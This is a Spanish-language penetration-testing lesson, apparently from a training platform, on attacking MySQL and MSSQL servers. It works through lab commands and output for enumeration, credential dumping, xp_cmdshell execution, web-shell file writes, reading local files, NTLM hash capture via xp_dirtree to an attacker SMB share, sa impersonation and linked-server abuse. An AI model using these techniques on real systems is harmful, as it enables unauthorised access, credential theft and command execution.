Attacking SQL Databases
MySQL y Microsoft SQL Server (MSSQL
) son sistemas de gestión de relational database que almacenan datos en tablas, columnas y filas. Muchos sistemas de bases de datos relacionales como MSSQL y MySQL utilizan el Structured Query Language (SQL
) para consultar y mantener la base de datos.
Los hosts de bases de datos se consideran objetivos importantes ya que son responsables de almacenar todo tipo de datos sensibles, incluyendo, entre otros, credenciales de usuario, Personal Identifiable Information (PII)
, datos relacionados con negocios e información de pagos. Además, esos servicios a menudo están configurados con usuarios altamente privilegiados. Si obtenemos acceso a una base de datos, podríamos aprovechar esos privilegios para más acciones, incluyendo movimiento lateral y escalación de privilegios.
Enumeration
Por defecto, MSSQL usa los puertos TCP/1433
y UDP/1434
, y MySQL usa TCP/3306
. Sin embargo, cuando MSSQL opera en modo "oculto", utiliza el puerto TCP/2433
. Podemos usar los scripts predeterminados de Nmap
con la opción -sC
para enumerar servicios de bases de datos en un sistema objetivo:
Banner Grabbing
nmap -Pn -sV -sC -p1433 10.10.10.125
Host discovery disabled (-Pn). All addresses will be marked 'up', and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-26 02:09 BST
Nmap scan report for 10.10.10.125
Host is up (0.0099s latency).
PORT STATE SERVICE VERSION
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info:
| Target_Name: HTB
| NetBIOS_Domain_Name: HTB
| NetBIOS_Computer_Name: mssql-test
| DNS_Domain_Name: HTB.LOCAL
| DNS_Computer_Name: mssql-test.HTB.LOCAL
| DNS_Tree_Name: HTB.LOCAL
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2021-08-26T01:04:36
|_Not valid after: 2051-08-26T01:04:36
|_ssl-date: 2021-08-26T01:11:58+00:00; +2m05s from scanner time.
Host script results:
|_clock-skew: mean: 2m04s, deviation: 0s, median: 2m04s
| ms-sql-info:
| 10.10.10.125:1433:
| Version:
| name: Microsoft SQL Server 2017 RTM
| number: 14.00.1000.00
| Product: Microsoft SQL Server 2017
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
El escaneo de Nmap revela información esencial sobre el objetivo, como la versión y el nombre del host, que podemos usar para identificar configuraciones incorrectas comunes, ataques específicos o vulnerabilidades conocidas. Exploremos algunas configuraciones incorrectas comunes y ataques específicos de protocolo.
Authentication Mechanisms
MSSQL
admite dos authentication modes, lo que significa que los usuarios pueden ser creados en Windows o en el SQL Server:
Authentication Type | Description |
---|---|
Windows authentication mode |
Este es el modo predeterminado, a menudo llamado integrated security porque el modelo de seguridad de SQL Server está estrechamente integrado con Windows/Active Directory. Cuentas de usuario y grupos específicos de Windows tienen permiso para iniciar sesión en SQL Server. Los usuarios de Windows que ya han sido autenticados no necesitan presentar credenciales adicionales. |
Mixed mode |
El modo mixto admite autenticación por cuentas de Windows/Active Directory y SQL Server. Los pares de nombre de usuario y contraseña se mantienen dentro del SQL Server. |
MySQL
también admite diferentes authentication methods, como nombre de usuario y contraseña, así como autenticación de Windows (se requiere un plugin). Además, los administradores pueden choose an authentication mode por muchas razones, incluyendo compatibilidad, seguridad, usabilidad y más. Sin embargo, dependiendo del método implementado, pueden ocurrir configuraciones incorrectas.
En el pasado, hubo una vulnerabilidad CVE-2012-2122 en servidores MySQL 5.6.x
, entre otros, que permitía eludir la autenticación repitiendo el mismo incorrecto password para la cuenta dada porque la vulnerabilidad de timing attack
existía en la forma en que MySQL manejaba los intentos de autenticación.
En este ataque de temporización, MySQL intenta repetidamente autenticarse en un servidor y mide el tiempo que tarda el servidor en responder a cada intento. Al medir el tiempo que tarda el servidor en responder, podemos determinar cuándo se ha encontrado la contraseña correcta, incluso si el servidor no indica éxito o fracaso.
En el caso de MySQL 5.6.x
, el servidor tarda más en responder a una contraseña incorrecta que a una correcta. Por lo tanto, si intentamos repetidamente autenticarnos con la misma contraseña incorrecta, eventualmente recibiremos una respuesta que indica que se encontró la contraseña correcta, aunque no sea así.
Misconfigurations
Una configuración incorrecta de autenticación en SQL Server puede permitirnos acceder al servicio sin credenciales si se habilita el acceso anónimo, se configura un usuario sin contraseña, o si se permite que cualquier usuario, grupo o máquina acceda al SQL Server.
Privileges
Dependiendo de los privilegios del usuario, podemos realizar diferentes acciones dentro de un SQL Server, como:
- Leer o cambiar el contenido de una base de datos
- Leer o cambiar la configuración del servidor
- Ejecutar comandos
- Leer archivos locales
- Comunicarse con otras bases de datos
- Capturar el hash del sistema local
- Suplantar usuarios existentes
- Obtener acceso a otras redes
En esta sección, exploraremos algunos de estos ataques.
Protocol Specific Attacks
Es crucial entender cómo funciona la sintaxis SQL. Podemos usar el módulo gratuito SQL Injection Fundamentals para introducirnos en la sintaxis SQL. Aunque este módulo cubre MySQL, la sintaxis de MSSQL y MySQL es bastante similar.
Read/Change the Database
Imaginemos que obtenemos acceso a una base de datos SQL. Primero, necesitamos identificar las bases de datos existentes en el servidor, qué tablas contiene la base de datos y finalmente el contenido de cada tabla. Ten en cuenta que podríamos encontrar bases de datos con cientos de tablas. Si nuestro objetivo no es solo acceder a los datos, necesitaremos seleccionar qué tablas pueden contener información interesante para continuar nuestros ataques, como nombres de usuario y contraseñas, tokens, configuraciones y más. Veamos cómo podemos hacer esto:
MySQL - Connecting to the SQL Server
mysql -u julio -pPassword123 -h 10.129.20.13
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 8
Server version: 8.0.28-0ubuntu0.20.04.3 (Ubuntu)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]>
Sqlcmd - Connecting to the SQL Server
C:\htb> sqlcmd -S SRVMSSQL -U julio -P 'MyPassword!' -y 30 -Y 30
1>
Note: Cuando nos autenticamos en MSSQL usando sqlcmd
podemos usar los parámetros -y
(SQLCMDMAXVARTYPEWIDTH) y -Y
(SQLCMDMAXFIXEDTYPEWIDTH) para una mejor visualización de la salida. Ten en cuenta que puede afectar el rendimiento.
Si estamos atacando MSSQL
desde Linux, podemos usar sqsh
como una alternativa a sqlcmd
:
sqsh -S 10.129.203.7 -U julio -P 'MyPassword!' -h
sqsh-2.5.16.1 Copyright (C) 1995-2001 Scott C. Gray
Portions Copyright (C) 2004-2014 Michael Peppler and Martin Wesdorp
This is free software with ABSOLUTELY NO WARRANTY
For more information type '\warranty'
1>
``
`
Alternativamente, podemos usar la herramienta de Impacket con el nombre `mssqlclient.py`.
```r
mssqlclient.py -p 1433 julio@10.129.203.7
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
Password: MyPassword!
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(WIN-02\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(WIN-02\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (120 7208)
[!] Press help for extra shell commands
SQL>
Note: Cuando nos autenticamos en MSSQL usando sqsh
podemos usar los parámetros -h
para deshabilitar encabezados y pies de página para una apariencia más limpia.
Cuando usamos Windows Authentication, necesitamos especificar el nombre del dominio o el nombre del host de la máquina objetivo. Si no especificamos un dominio o nombre de host, asumirá SQL Authentication y se autenticará contra los usuarios creados en el SQL Server. En cambio, si definimos el dominio o nombre del host, utilizará Windows Authentication. Si estamos atacando una cuenta local, podemos usar SERVERNAME\\accountname
o .\accountname
. El comando completo se vería así:
sqsh -S 10.129.203.7 -U .\\julio -P 'MyPassword!' -h
sqsh-2.5.16.1 Copyright (C) 1995-2001 Scott C. Gray
Portions Copyright (C) 2004-2014 Michael Peppler and Martin Wesdorp
This is free software with ABSOLUTELY NO WARRANTY
For more information type '\warranty'
1>
SQL Default Databases
Antes de explorar el uso de la sintaxis SQL, es esencial conocer las bases de datos predeterminadas para MySQL
y MSSQL
. Esas bases de datos contienen información sobre la base de datos en sí y nos ayudan a enumerar nombres de bases de datos, tablas, columnas, etc. Con acceso a esas bases de datos, podemos usar algunos procedimientos almacenados del sistema, pero generalmente no contienen datos de la empresa.
Note: Obtendremos un error si intentamos listar o conectarnos a una base de datos a la que no tenemos permisos.
MySQL
esquemas/schemas predeterminados del sistema:
mysql
- es la base de datos del sistema que contiene tablas que almacenan información requerida por el servidor MySQLinformation_schema
- proporciona acceso a metadatos de la base de datosperformance_schema
- es una característica para monitorear la ejecución del servidor MySQL a un nivel bajosys
- un conjunto de objetos que ayuda a los DBAs y desarrolladores a interpretar los datos recopilados por el Performance Schema
MSSQL
esquemas/schemas predeterminados del sistema:
master
- guarda la información para una instancia de SQL Server.msdb
- utilizada por SQL Server Agent.model
- una base de datos de plantilla copiada para cada nueva base de datos.resource
- una base de datos de solo lectura que guarda objetos del sistema visibles en cada base de datos en el servidor en el esquema sys.tempdb
- guarda objetos temporales para consultas SQL.
SQL Syntax
Show Databases
mysql> SHOW DATABASES;
+--------------------+
| Database |
+--------------------+
| information_schema |
| htbusers |
+--------------------+
2 rows in set (0.00 sec)
Si usamos sqlcmd
, necesitaremos usar GO
después de nuestra consulta para ejecutar la sintaxis SQL.
1> SELECT name FROM master.dbo.sysdatabases
2> GO
name
--------------------------------------------------
master
tempdb
model
msdb
htbusers
Select a Database
mysql> USE htbusers;
Database changed
1> USE htbusers
2> GO
Changed database context to 'htbusers'.
Show Tables
mysql> SHOW TABLES;
+----------------------------+
| Tables_in_htbusers |
+----------------------------+
| actions |
| permissions |
| permissions_roles |
| permissions_users |
| roles |
| roles_users |
| settings |
| users |
+----------------------------+
8 rows in set (0.00 sec)
1> SELECT table_name FROM htbusers.INFORMATION_SCHEMA.TABLES
2> GO
table_name
--------------------------------
actions
permissions
permissions_roles
permissions_users
roles
roles_users
settings
users
(8 rows affected)
Select all Data from Table "users"
mysql> SELECT * FROM users;
+----+---------------+------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+------------+---------------------+
| 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 |
| 2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
| 3 | john | john123! | 2020-07-02 11:47:16 |
| 4 | tom | tom123! | 2020-07-02 12:23:16 |
+----+---------------+------------+---------------------+
4 rows in set (0.00 sec)
1> SELECT * FROM users
2> go
id username password data_of_joining
----------- -------------------- ---------------- -----------------------
1 admin p@ssw0rd 2020-07-02 00:00:00.000
2 administrator adm1n_p@ss 2020-07-02 11:30:50.000
3 john john123! 2020-07-02 11:47:16.000
4 tom tom123! 2020-07-02 12:23:16.000
(4 rows affected)
Execute Commands
Command execution
es una de las capacidades más deseadas al atacar servicios comunes porque nos permite controlar el sistema operativo. Si tenemos los privilegios apropiados, podemos usar la base de datos SQL para ejecutar comandos del sistema o crear los elementos necesarios para hacerlo.
MSSQL
tiene un extended stored procedures llamado xp_cmdshell que nos permite ejecutar comandos del sistema usando SQL. Ten en cuenta lo siguiente sobre xp_cmdshell
:
xp_cmdshell
es una característica poderosa y está deshabilitada por defecto.xp_cmdshell
puede habilitarse y deshabilitarse usando el Policy-Based Management o ejecutando sp_configure- El proceso de Windows generado por
xp_cmdshell
tiene los mismos derechos de seguridad que la cuenta de servicio de SQL Server xp_cmdshell
opera de manera sincrónica. El control no se devuelve al llamador hasta que el comando del shell de comandos se completa
Para ejecutar comandos usando sintaxis SQL en MSSQL, usa:
XP_CMDSHELL
1> xp_cmdshell 'whoami'
2> GO
output
-----------------------------
no service\mssql$sqlexpress
NULL
(2 rows affected)
Si xp_cmdshell
no está habilitado, podemos habilitarlo, si tenemos los privilegios apropiados, usando el siguiente comando:
-- To allow advanced options to be changed.
EXECUTE sp_configure 'show advanced options', 1
GO
-- To update the currently configured value for advanced options.
RECONFIGURE
GO
-- To enable the feature.
EXECUTE sp_configure 'xp_cmdshell', 1
GO
-- To update the currently configured value for this feature.
RECONFIGURE
GO
Hay otros métodos para obtener la ejecución de comandos, como agregar extended stored procedures, CLR Assemblies, SQL Server Agent Jobs y external scripts. Sin embargo, además de esos métodos, también hay funcionalidades adicionales que se pueden usar como el comando xp_regwrite
que se utiliza para elevar privilegios creando nuevas entradas en el registro de Windows. No obstante, esos métodos están fuera del alcance de este módulo.
MySQL
admite User Defined Functions que nos permiten ejecutar código en C/C++ como una función dentro de SQL, hay una User Defined Function para la ejecución de comandos en este GitHub repository. No es común encontrar una User Defined Function como esta en un entorno de producción, pero debemos estar conscientes de que podríamos usarla.
Write Local Files
MySQL
no tiene un procedimiento almacenado como xp_cmdshell
, pero podemos lograr la ejecución de comandos si escribimos en una ubicación en el sistema de archivos que pueda ejecutar nuestros comandos. Por ejemplo, supongamos que MySQL
opera en un servidor web basado en PHP u otros lenguajes de programación como ASP.NET. Si tenemos los privilegios apropiados, podemos intentar escribir un archivo usando SELECT INTO OUTFILE en el directorio del servidor web. Luego podemos navegar a la ubicación donde se encuentra el archivo y ejecutar nuestros comandos.
MySQL - Write Local File
mysql> SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';
Query OK, 1 row affected (0.001 sec)
En MySQL
, una variable global del sistema secure_file_priv limita el efecto de las operaciones de importación y exportación de datos, como las realizadas por las sentencias LOAD DATA
y SELECT … INTO OUTFILE
y la función LOAD_FILE(). Estas operaciones solo están permitidas para usuarios que tienen el privilegio FILE.
secure_file_priv
puede configurarse de la siguiente manera:
- Si está vacío, la variable no tiene efecto, lo cual no es una configuración segura.
- Si se establece en el nombre de un directorio, el servidor limita las operaciones de importación y exportación para trabajar solo con archivos en ese directorio. El directorio debe existir; el servidor no lo crea.
- Si se establece en NULL, el servidor deshabilita las operaciones de importación y exportación.
En el siguiente ejemplo, podemos ver que la variable secure_file_priv
está vacía, lo que significa que podemos leer y escribir datos usando MySQL
:
MySQL - Secure File Privileges
mysql> show variables like "secure_file_priv";
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
1 row in set (0.005 sec)
Para escribir archivos usando MSSQL
, necesitamos habilitar Ole Automation Procedures, lo que requiere privilegios de administrador, y luego ejecutar algunos procedimientos almacenados para crear el archivo:
MSSQL - Enable Ole Automation Procedures
1> sp_configure 'show advanced options', 1
2> GO
3> RECONFIGURE
4> GO
5> sp_configure 'Ole Automation Procedures', 1
6> GO
7> RECONFIGURE
8> GO
MSSQL - Create a File
1> DECLARE @OLE INT
2> DECLARE @FileID INT
3> EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
4> EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
5> EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
6> EXECUTE sp_OADestroy @FileID
7> EXECUTE sp_OADestroy @OLE
8> GO
Read Local Files
Por defecto, MSSQL
permite la lectura de archivos en cualquier archivo en el sistema operativo al que la cuenta tenga acceso de lectura. Podemos usar la siguiente consulta SQL:
Read Local Files in MSSQL
1> SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
2> GO
BulkColumn
-----------------------------------------------------------------------------
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to hostnames. Each
# entry should be kept on an individual line. The IP address should
(1 rows affected)
Como mencionamos anteriormente, por defecto una instalación de MySQL
no permite la lectura arbitraria de archivos, pero si los ajustes correctos están en su lugar y con los privilegios apropiados, podemos leer archivos usando los siguientes métodos:
MySQL - Read Local Files in MySQL
mysql> select LOAD_FILE("/etc/passwd");
+--------------------------+
| LOAD_FILE("/etc/passwd")
+--------------------------------------------------+
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
<SNIP>
Capture MSSQL Service Hash
En la sección Attacking SMB
, discutimos que podríamos crear un servidor SMB falso para robar un hash y abusar de alguna implementación predeterminada dentro de un sistema operativo Windows. También podemos robar el hash de la cuenta del servicio MSSQL usando los procedimientos almacenados no documentados xp_subdirs
o xp_dirtree
, que utilizan el protocolo SMB para recuperar una lista de subdirectorios bajo un directorio principal especificado desde el sistema de archivos. Cuando usamos uno de estos procedimientos almacenados y lo apuntamos a nuestro servidor SMB, la funcionalidad de escucha de directorios forzará al servidor a autenticarse y enviar el hash NTLMv2 de la cuenta de servicio que está ejecutando el SQL Server.
Para que esto funcione, primero necesitamos iniciar Responder o impacket-smbserver y ejecutar una de las siguientes consultas SQL:
XP_DIRTREE Hash Stealing
1> EXEC master..xp_dirtree '\\10.10.110.17\share\'
2> GO
subdirectory depth
--------------- -----------
XP_SUBDIRS Hash Stealing
1> EXEC master..xp_subdirs '\\10.10.110.17\share\'
2> GO
HResult 0x55F6, Level 16, State 1
xp_subdirs could not access '\\10.10.110.17\share\*.*': FindFirstFile() returned error 5, 'Access is denied.'
Si la cuenta de servicio tiene acceso a nuestro servidor, obtendremos su hash. Luego podemos intentar crackear el hash o reenviarlo a otro host.
XP_SUBDIRS Hash Stealing with Responder
sudo responder -I tun0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
<SNIP>
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.10.110.17
[SMB] NTLMv2-SSP Username : SRVMSSQL\demouser
[SMB] NTLMv2-SSP Hash : demouser::WIN7BOX:5e3ab1c4380b94a1:A18830632D52768440B7E2425C4A7107:0101000000000000009BFFB9DE3DD801D5448EF4D0BA034D0000000002000800510053004700320001001E00570049004E002D003500440050005A0033005200530032004F005800320004003400570049004E002D003500440050005A0033005200530032004F00580013456F0051005300470013456F004C004F00430041004C000300140051005300470013456F004C004F00430041004C000500140051005300470013456F004C004F00430041004C0007000800009BFFB9DE3DD80106000400020000000800300030000000000000000100000000200000ADCA14A9054707D3939B6A5F98CE1F6E5981AC62CEC5BEAD4F6200A35E8AD9170A0010000000000000000000000000000000000009001C0063006900660073002F00740065007300740069006E006700730061000000000000000000
XP_SUBDIRS Hash Stealing with impacket
sudo impacket-smbserver share ./ -smb2support
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.129.203.7,49728)
[*] AUTHENTICATE_MESSAGE (WINSRV02\mssqlsvc,WINSRV02)
[*] User WINSRV02\mssqlsvc authenticated successfully
[*] demouser::WIN7BOX:5e3ab1c4380b94a1:A18830632D52768440B7E2425C4A7107:0101000000000000009BFFB9DE3DD801D5448EF4D0BA034D0000000002000800510053004700320001001E00570049004E002D003500440050005A0033005200530032004F005800320004003400570049004E002D003500440050005A0033005200530032004F00580013456F0051005300470013456F004C004F00430041004C000300140051005300470013456F004C004F00430041004C000500140051005300470013456F004C004F00430041004C0007000800009BFFB9DE3DD80106000400020000000800300030000000000000000100000000200000ADCA14A9054707D3939B6A5F98CE1F6E5981AC62CEC5BEAD4F6200A35E8AD9170A0010000000000000000000000000000000000009001C0063006900660073002F00740065007300740069006E006700730061000000000000000000
[*] Closing down connection (10.129.203.7,49728)
[*] Remaining connections []
Impersonate Existing Users with MSSQL
SQL Server tiene un permiso especial, llamado IMPERSONATE
, que permite al usuario que ejecuta tomar los permisos de otro usuario o iniciar sesión hasta que el contexto se restablezca o la sesión termine. Exploremos cómo el privilegio IMPERSONATE
puede llevar a la escalación de privilegios en SQL Server.
Primero, necesitamos identificar a los usuarios que podemos suplantar. Los administradores del sistema pueden suplantar a cualquiera por defecto, pero para los usuarios que no son administradores, los privilegios deben ser asignados explícitamente. Podemos usar la siguiente consulta para identificar a los usuarios que podemos suplantar:
Identify Users that We Can Impersonate
1> SELECT distinct b.name
2> FROM sys.server_permissions a
3> INNER JOIN sys.server_principals b
4> ON a.grantor_principal_id = b.principal_id
5> WHERE a.permission_name = 'IMPERSONATE'
6> GO
name
-----------------------------------------------
sa
ben
valentin
(3 rows affected)
Para tener una idea de las posibilidades de escalación de privilegios, verifiquemos si nuestro usuario actual tiene el rol de sysadmin:
Verifying our Current User and Role
1> SELECT SYSTEM_USER
2> SELECT IS_SRVROLEMEMBER('sysadmin')
3> go
-----------
julio
(1 rows affected)
-----------
0
(1 rows affected)
Como el valor devuelto 0
indica, no tenemos el rol de sysadmin, pero podemos suplantar al usuario sa
. Suplantemos al usuario y ejecutemos los mismos comandos. Para suplantar a un usuario, podemos usar la declaración Transact-SQL EXECUTE AS LOGIN
y configurarla al usuario que queremos suplantar.
Impersonating the SA User
1> EXECUTE AS LOGIN = 'sa'
2> SELECT SYSTEM_USER
3> SELECT IS_SRVROLEMEMBER('sysadmin')
4> GO
-----------
sa
(1 rows affected)
-----------
1
(1 rows affected)
Note: Es recomendable ejecutar EXECUTE AS LOGIN
dentro de la base de datos master, porque todos los usuarios, por defecto, tienen acceso a esa base de datos. Si un usuario que estás tratando de suplantar no tiene acceso a la base de datos a la que te estás conectando, presentará un error. Intenta moverte a la base de datos master usando USE master
.
Ahora podemos ejecutar cualquier comando como sysadmin, como indica el valor devuelto 1
. Para revertir la operación y regresar a nuestro usuario anterior, podemos usar la declaración Transact-SQL REVERT
.
Note: Si encontramos un usuario que no es sysadmin, aún podemos verificar si el usuario tiene acceso a otras bases de datos o servidores vinculados.
Communicate with Other Databases with MSSQL
MSSQL
tiene una opción de configuración llamada linked servers. Los servidores vinculados generalmente se configuran para permitir que el motor de la base de datos ejecute una declaración Transact-SQL que incluya tablas en otra instancia de SQL Server u otro producto de base de datos como Oracle.
Si logramos obtener acceso a un SQL Server con un servidor vinculado configurado, podríamos movernos lateralmente a ese servidor de base de datos. Los administradores pueden configurar un servidor vinculado usando credenciales del servidor remoto. Si esas credenciales tienen privilegios de sysadmin, podríamos ejecutar comandos en la instancia de SQL remota. Veamos cómo podemos identificar y ejecutar consultas en servidores vinculados.
Identify linked Servers in MSSQL
1> SELECT srvname, isremote FROM sysservers
2> GO
srvname isremote
----------------------------------- --------
DESKTOP-MFERMN4\SQLEXPRESS 1
10.0.0.12\SQLEXPRESS 0
(2 rows affected)
Como podemos ver en la salida de la consulta, tenemos el nombre del servidor y la columna isremote
, donde 1
significa que es un servidor remoto y 0
es un servidor vinculado. Podemos ver sysservers Transact-SQL para más información.
A continuación, podemos intentar identificar el usuario utilizado para la conexión y sus privilegios. La declaración EXECUTE puede usarse para enviar comandos pasantes a servidores vinculados. Agregamos nuestro comando entre paréntesis y especificamos el servidor vinculado entre corchetes ([ ]
).
1> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]
2> GO
------------------------------ ------------------------------ ------------------------------ -----------
DESKTOP-0L9D4KA\SQLEXPRESS Microsoft SQL Server 2019 (RTM sa_remote 1
(1 rows affected)
Note: Si necesitamos usar comillas en nuestra consulta al servidor vinculado, necesitamos usar comillas dobles simples para escapar la comilla simple. Para ejecutar múltiples comandos a la vez podemos dividirlos con un punto y coma (;).
Como hemos visto, ahora podemos ejecutar consultas con privilegios de sysadmin en el servidor vinculado. Como sysadmin
, controlamos la instancia de SQL Server. Podemos leer datos de cualquier base de datos o ejecutar comandos del sistema con xp_cmdshell
. Esta sección cubrió algunas de las formas más comunes de atacar SQL Server y bases de datos MySQL durante los compromisos de pruebas de penetración. Hay otros métodos para atacar estos tipos de bases de datos, así como otros, como PostGreSQL, SQLite, Oracle, Firebase y MongoDB que se cubrirán en otros módulos. Vale la pena tomarse un tiempo para leer sobre estas tecnologías de bases de datos y algunas de las formas comunes de atacarlas también.